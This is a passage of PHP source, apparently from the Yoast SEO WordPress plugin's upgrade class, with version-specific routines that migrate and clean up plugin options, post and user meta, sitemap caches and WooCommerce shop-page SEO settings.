			update_option( 'wpseo_xml', $options );
		}

		// Remove the meta fields.
		delete_post_meta_by_key( '_yoast_wpseo_sitemap-include' );
	}

	/**
	 * Performs upgrade functions to Yoast SEO 3.0.
	 */
	private function upgrade_30() {
		// Remove the meta fields for sitemap prio.
		delete_post_meta_by_key( '_yoast_wpseo_sitemap-prio' );
	}

	/**
	 * Performs upgrade functions to Yoast SEO 3.3.
	 */
	private function upgrade_33() {
		// Notification dismissals have been moved to User Meta instead of global option.
		delete_option( Yoast_Notification_Center::STORAGE_KEY );
	}

	/**
	 * Performs upgrade functions to Yoast SEO 3.6.
	 */
	private function upgrade_36() {
		global $wpdb;

		// Between 3.2 and 3.4 the sitemap options were saved with autoloading enabled.
		$wpdb->query( 'DELETE FROM ' . $wpdb->options . ' WHERE option_name LIKE "wpseo_sitemap_%" AND autoload = "yes"' );
	}

	/**
	 * Removes the about notice when its still in the database.
	 */
	private function upgrade_40() {
		$center = Yoast_Notification_Center::get();
		$center->remove_notification_by_id( 'wpseo-dismiss-about' );
	}

	/**
	 * Moves the content-analysis-active and keyword-analysis-acive options from wpseo-titles to wpseo.
	 */
	private function upgrade_44() {
		$wpseo_titles = $this->get_option_from_database( 'wpseo_titles' );

		$this->save_option_setting( $wpseo_titles, 'content-analysis-active', 'content_analysis_active' );
		$this->save_option_setting( $wpseo_titles, 'keyword-analysis-active', 'keyword_analysis_active' );

		// Remove irrelevant content from the option.
		$this->cleanup_option_data( 'wpseo_titles' );
	}

	/**
	 * Renames the meta name for the cornerstone content. It was a public meta field and it has to be private.
	 */
	private function upgrade_47() {
		global $wpdb;

		// The meta key has to be private, so prefix it.
		$wpdb->query(
			$wpdb->prepare(
				'UPDATE ' . $wpdb->postmeta . ' SET meta_key = %s WHERE meta_key = "yst_is_cornerstone"',
				WPSEO_Cornerstone_Filter::META_NAME
			)
		);
	}

	/**
	 * Removes the 'wpseo-dismiss-about' notice for every user that still has it.
	 */
	private function upgrade_49() {
		global $wpdb;

		/*
		 * Using a filter to remove the notification for the current logged in user. The notification center is
		 * initializing the notifications before the upgrade routine has been executedd and is saving the stored
		 * notifications on shutdown. This causes the returning notification. By adding this filter the shutdown
		 * routine on the notification center will remove the notification.
		 */
		add_filter( 'yoast_notifications_before_storage', array( $this, 'remove_about_notice' ) );

		$meta_key = $wpdb->get_blog_prefix() . Yoast_Notification_Center::STORAGE_KEY;

		$usermetas = $wpdb->get_results(
			$wpdb->prepare( '
				SELECT user_id, meta_value
				FROM ' . $wpdb->usermeta . '
				WHERE meta_key = %s AND meta_value LIKE %s
				',
				$meta_key,
				'%wpseo-dismiss-about%'
			),
			ARRAY_A
		);

		if ( empty( $usermetas ) ) {
			return;
		}

		foreach ( $usermetas as $usermeta ) {
			$notifications = maybe_unserialize( $usermeta['meta_value'] );

			foreach ( $notifications as $notification_key => $notification ) {
				if ( ! empty( $notification['options']['id'] ) && $notification['options']['id'] === 'wpseo-dismiss-about' ) {
					unset( $notifications[ $notification_key ] );
				}
			}

			update_user_option( $usermeta['user_id'], Yoast_Notification_Center::STORAGE_KEY, array_values( $notifications ) );
		}
	}

	/**
	 * Removes the wpseo-dismiss-about notice from a list of notifications.
	 *
	 * @param Yoast_Notification[] $notifications The notifications to filter.
	 *
	 * @return Yoast_Notification[] The filtered list of notifications. Excluding the wpseo-dismiss-about notification.
	 */
	public function remove_about_notice( $notifications ) {
		foreach ( $notifications as $notification_key => $notification ) {
			if ( $notification->get_id() === 'wpseo-dismiss-about' ) {
				unset( $notifications[ $notification_key ] );
			}
		}

		return $notifications;
	}

	/**
	 * Adds the yoast_seo_links table to the database.
	 */
	private function upgrade_50() {
		global $wpdb;

		$link_installer = new WPSEO_Link_Installer();
		$link_installer->install();

		// Trigger reindex notification.
		$notifier = new WPSEO_Link_Notifier();
		$notifier->manage_notification();

		// Deletes the post meta value, which might created in the RC.
		$wpdb->query( 'DELETE FROM ' . $wpdb->postmeta . ' WHERE meta_key = "_yst_content_links_processed"' );
	}

	/**
	 * Updates the internal_link_count column to support improved functionality.
	 */
	private function upgrade_50_51() {
		global $wpdb;

		$count_storage = new WPSEO_Meta_Storage();
		$wpdb->query( 'ALTER TABLE ' . $count_storage->get_table_name() . ' MODIFY internal_link_count int(10) UNSIGNED NULL DEFAULT NULL' );
	}

	/**
	 * Register new capabilities and roles.
	 */
	private function upgrade_55() {
		// Register roles.
		do_action( 'wpseo_register_roles' );
		WPSEO_Role_Manager_Factory::get()->add();

		// Register capabilities.
		do_action( 'wpseo_register_capabilities' );
		WPSEO_Capability_Manager_Factory::get()->add();
	}

	/**
	 * Updates legacy license page options to the latest version.
	 */
	private function upgrade_56() {
		global $wpdb;

		// Make sure License Server checks are on the latest server version by default.
		update_option( 'wpseo_license_server_version', WPSEO_License_Page_Manager::VERSION_BACKWARDS_COMPATIBILITY );

		// Make sure incoming link count entries are at least 0, not NULL.
		$count_storage = new WPSEO_Meta_Storage();
		$wpdb->query( 'UPDATE ' . $count_storage->get_table_name() . ' SET incoming_link_count = 0 WHERE incoming_link_count IS NULL' );
	}

	/**
	 * Updates the links for the link count when there is a difference between the site and home url. We've used the
	 * site url instead of the home url.
	 *
	 * @return void
	 */
	private function upgrade_61() {
		// When the home url is the same as the site url, just do nothing.
		if ( home_url() === site_url() ) {
			return;
		}

		global $wpdb;

		$link_storage = new WPSEO_Link_Storage();
		$wpdb->query( 'DELETE FROM ' . $link_storage->get_table_name() );

		$meta_storage = new WPSEO_Meta_Storage();
		$wpdb->query( 'DELETE FROM ' . $meta_storage->get_table_name() );
	}

	/**
	 * Removes some no longer used options for noindexing subpages and for meta keywords and its associated templates.
	 *
	 * @return void
	 */
	private function upgrade_63() {
		$this->cleanup_option_data( 'wpseo_titles' );
	}

	/**
	 * Perform the 7.0 upgrade, moves settings around, deletes several options.
	 *
	 * @return void
	 */
	private function upgrade_70() {

		$wpseo_permalinks    = $this->get_option_from_database( 'wpseo_permalinks' );
		$wpseo_xml           = $this->get_option_from_database( 'wpseo_xml' );
		$wpseo_rss           = $this->get_option_from_database( 'wpseo_rss' );
		$wpseo               = $this->get_option_from_database( 'wpseo' );
		$wpseo_internallinks = $this->get_option_from_database( 'wpseo_internallinks' );

		// Move some permalink settings, then delete the option.
		$this->save_option_setting( $wpseo_permalinks, 'redirectattachment', 'disable-attachment' );
		$this->save_option_setting( $wpseo_permalinks, 'stripcategorybase' );

		// Move one XML sitemap setting, then delete the option.
		$this->save_option_setting( $wpseo_xml, 'enablexmlsitemap', 'enable_xml_sitemap' );


		// Move the RSS settings to the search appearance settings, then delete the RSS option.
		$this->save_option_setting( $wpseo_rss, 'rssbefore' );
		$this->save_option_setting( $wpseo_rss, 'rssafter' );

		$this->save_option_setting( $wpseo, 'company_logo' );
		$this->save_option_setting( $wpseo, 'company_name' );
		$this->save_option_setting( $wpseo, 'company_or_person' );
		$this->save_option_setting( $wpseo, 'person_name' );

		// Remove the website name and altername name as we no longer need them.
		$this->cleanup_option_data( 'wpseo' );

		// All the breadcrumbs settings have moved to the search appearance settings.
		foreach ( array_keys( $wpseo_internallinks ) as $key ) {
			$this->save_option_setting( $wpseo_internallinks, $key );
		}

		// Convert hidden metabox options to display metabox options.
		$title_options = get_option( 'wpseo_titles' );

		foreach ( $title_options as $key => $value ) {
			if ( strpos( $key, 'hideeditbox-tax-' ) === 0 ) {
				$taxonomy = substr( $key, strlen( 'hideeditbox-tax-' ) );
				WPSEO_Options::set( 'display-metabox-tax-' . $taxonomy, ! $value );
				continue;
			}

			if ( strpos( $key, 'hideeditbox-' ) === 0 ) {
				$post_type = substr( $key, strlen( 'hideeditbox-' ) );
				WPSEO_Options::set( 'display-metabox-pt-' . $post_type, ! $value );
				continue;
			}
		}

		// Cleanup removed options.
		delete_option( 'wpseo_xml' );
		delete_option( 'wpseo_permalinks' );
		delete_option( 'wpseo_rss' );
		delete_option( 'wpseo_internallinks' );

		// Remove possibly present plugin conflict notice for plugin that was removed from the list of conflicting plugins.
		$yoast_plugin_conflict = WPSEO_Plugin_Conflict::get_instance();
		$yoast_plugin_conflict->clear_error( 'header-footer/plugin.php' );

		// Moves the user meta for excluding from the XML sitemap to a noindex.
		global $wpdb;
		$wpdb->query( "UPDATE $wpdb->usermeta SET meta_key = 'wpseo_noindex_author' WHERE meta_key = 'wpseo_excludeauthorsitemap'" );
	}

	/**
	 * Perform the 7.1 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_71() {
		$this->cleanup_option_data( 'wpseo_social' );

		// Move the breadcrumbs setting and invert it.
		$title_options = $this->get_option_from_database( 'wpseo_titles' );

		if ( array_key_exists( 'breadcrumbs-blog-remove', $title_options ) ) {
			WPSEO_Options::set( 'breadcrumbs-display-blog-page', ! $title_options['breadcrumbs-blog-remove'] );

			$this->cleanup_option_data( 'wpseo_titles' );
		}
	}

	/**
	 * Perform the 7.3 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_73() {
		global $wpdb;
		// We've moved the cornerstone checkbox to our proper namespace.
		$wpdb->query( "UPDATE $wpdb->postmeta SET meta_key = '_yoast_wpseo_is_cornerstone' WHERE meta_key = '_yst_is_cornerstone'" );

		// Remove the previous Whip dismissed message, as this is a new one regarding PHP 5.2.
		delete_option( 'whip_dismiss_timestamp' );
	}

	/**
	 * Performs the 7.4 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_74() {
		$this->remove_sitemap_validators();
	}

	/**
	 * Performs the 7.5.3 upgrade.
	 *
	 * When upgrading purging media is potentially relevant.
	 *
	 * @return void
	 */
	private function upgrade_753() {
		// Only when attachments are not disabled.
		if ( WPSEO_Options::get( 'disable-attachment' ) === true ) {
			return;
		}

		// Only when attachments are not no-indexed.
		if ( WPSEO_Options::get( 'noindex-attachment' ) === true ) {
			return;
		}

		// Set purging relevancy.
		WPSEO_Options::set( 'is-media-purge-relevant', true );
	}

	/**
	 * Performs the 7.7 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_77() {
		// Remove all OpenGraph content image cache.
		$this->delete_post_meta( '_yoast_wpseo_post_image_cache' );
	}

	/**
	 * Performs the 7.7.2 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_772() {
		if ( WPSEO_Utils::is_woocommerce_active() ) {
			$this->migrate_woocommerce_archive_setting_to_shop_page();
		}
	}

	/**
	 * Performs the 9.0 upgrade.
	 *
	 * @return void
	 */
	private function upgrade90() {
		global $wpdb;

		// Invalidate all sitemap cache transients.
		WPSEO_Sitemaps_Cache_Validator::cleanup_database();

		// Removes all scheduled tasks for hitting the sitemap index.
		wp_clear_scheduled_hook( 'wpseo_hit_sitemap_index' );

		$wpdb->query( 'DELETE FROM ' . $wpdb->options . ' WHERE option_name LIKE "wpseo_sitemap_%"' );
	}

	/**
	 * Removes the post meta fields for a given meta key.
	 *
	 * @param string $meta_key The meta key.
	 *
	 * @return void
	 */
	private function delete_post_meta( $meta_key ) {
		global $wpdb;

		$deleted = $wpdb->delete( $wpdb->postmeta, array( 'meta_key' => $meta_key ), array( '%s' ) );

		if ( $deleted ) {
			wp_cache_set( 'last_changed', microtime(), 'posts' );
		}
	}

	/**
	 * Removes all sitemap validators.
	 *
	 * This should be executed on every upgrade routine until we have removed the sitemap caching in the database.
	 *
	 * @return void
	 */
	private function remove_sitemap_validators() {
		global $wpdb;

		// Remove all sitemap validators.
		$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE 'wpseo_sitemap%validator%'" );
	}

	/**
	 * Retrieves the option value directly from the database.
	 *
	 * @param string $option_name Option to retrieve.
	 *
	 * @return array|mixed The content of the option if exists, otherwise an empty array.
	 */
	protected function get_option_from_database( $option_name ) {
		global $wpdb;

		// Load option directly from the database, to avoid filtering and sanitization.
		$sql     = $wpdb->prepare( 'SELECT option_value FROM ' . $wpdb->options . ' WHERE option_name = %s', $option_name );
		$results = $wpdb->get_results( $sql, ARRAY_A );
		if ( ! empty( $results ) ) {
			return maybe_unserialize( $results[0]['option_value'] );
		}

		return array();
	}

	/**
	 * Cleans the option to make sure only relevant settings are there.
	 *
	 * @param string $option_name Option name save.
	 *
	 * @return void
	 */
	protected function cleanup_option_data( $option_name ) {
		$data = get_option( $option_name, array() );
		if ( ! is_array( $data ) || $data === array() ) {
			return;
		}

		/*
		 * Clean up the option by re-saving it.
		 *
		 * The option framework will remove any settings that are not configured
		 * for this option, removing any migrated settings.
		 */
		update_option( $option_name, $data );
	}

	/**
	 * Saves an option setting to where it should be stored.
	 *
	 * @param array       $source_data    The option containing the value to be migrated.
	 * @param string      $source_setting Name of the key in the "from" option.
	 * @param string|null $target_setting Name of the key in the "to" option.
	 *
	 * @return void
	 */
	protected function save_option_setting( $source_data, $source_setting, $target_setting = null ) {
		if ( $target_setting === null ) {
			$target_setting = $source_setting;
		}

		if ( isset( $source_data[ $source_setting ] ) ) {
			WPSEO_Options::set( $target_setting, $source_data[ $source_setting ] );
		}
	}

	/**
	 * Migrates WooCommerce archive settings to the WooCommerce Shop page meta-data settings.
	 *
	 * If no Shop page is defined, nothing will be migrated.
	 *
	 * @return void
	 */
	private function migrate_woocommerce_archive_setting_to_shop_page() {
		$shop_page_id = wc_get_page_id( 'shop' );

		if ( $shop_page_id === -1 ) {
			return;
		}

		$title = WPSEO_Meta::get_value( 'title', $shop_page_id );

		if ( empty( $title ) ) {
			$option_title = WPSEO_Options::get( 'title-ptarchive-product' );

			WPSEO_Meta::set_value(
				'title',
				$option_title,
				$shop_page_id
			);

			WPSEO_Options::set( 'title-ptarchive-product', '' );
		}

		$meta_description = WPSEO_Meta::get_value( 'metadesc', $shop_page_id );

		if ( empty( $meta_description ) ) {
			$option_metadesc = WPSEO_Options::get( 'metadesc-ptarchive-product' );

			WPSEO_Meta::set_value(
				'metadesc',
				$option_metadesc,
				$shop_page_id
			);

			WPSEO_Options::set( 'metadesc-ptarchive-product', '' );
		}

		$bc_title = WPSEO_Meta::get_value( 'bctitle', $shop_page_id );

		if ( empty( $bc_title ) ) {
			$option_bctitle = WPSEO_Options::get( 'bctitle-ptarchive-product' );

			WPSEO_Meta::set_value(
				'bctitle',
				$option_bctitle,
				$shop_page_id
			);

			WPSEO_Options::set( 'bctitle-ptarchive-product', '' );
		}

		$noindex = WPSEO_Meta::get_value( 'meta-robots-noindex', $shop_page_id );

		if ( $noindex === '0' ) {
			$option_noindex = WPSEO_Options::get( 'noindex-ptarchive-product' );

			WPSEO_Meta::set_value(
				'meta-robots-noindex',
				$option_noindex,
				$shop_page_id
			);

			WPSEO_Options::set( 'noindex-ptarchive-product', false );
		}
	}
}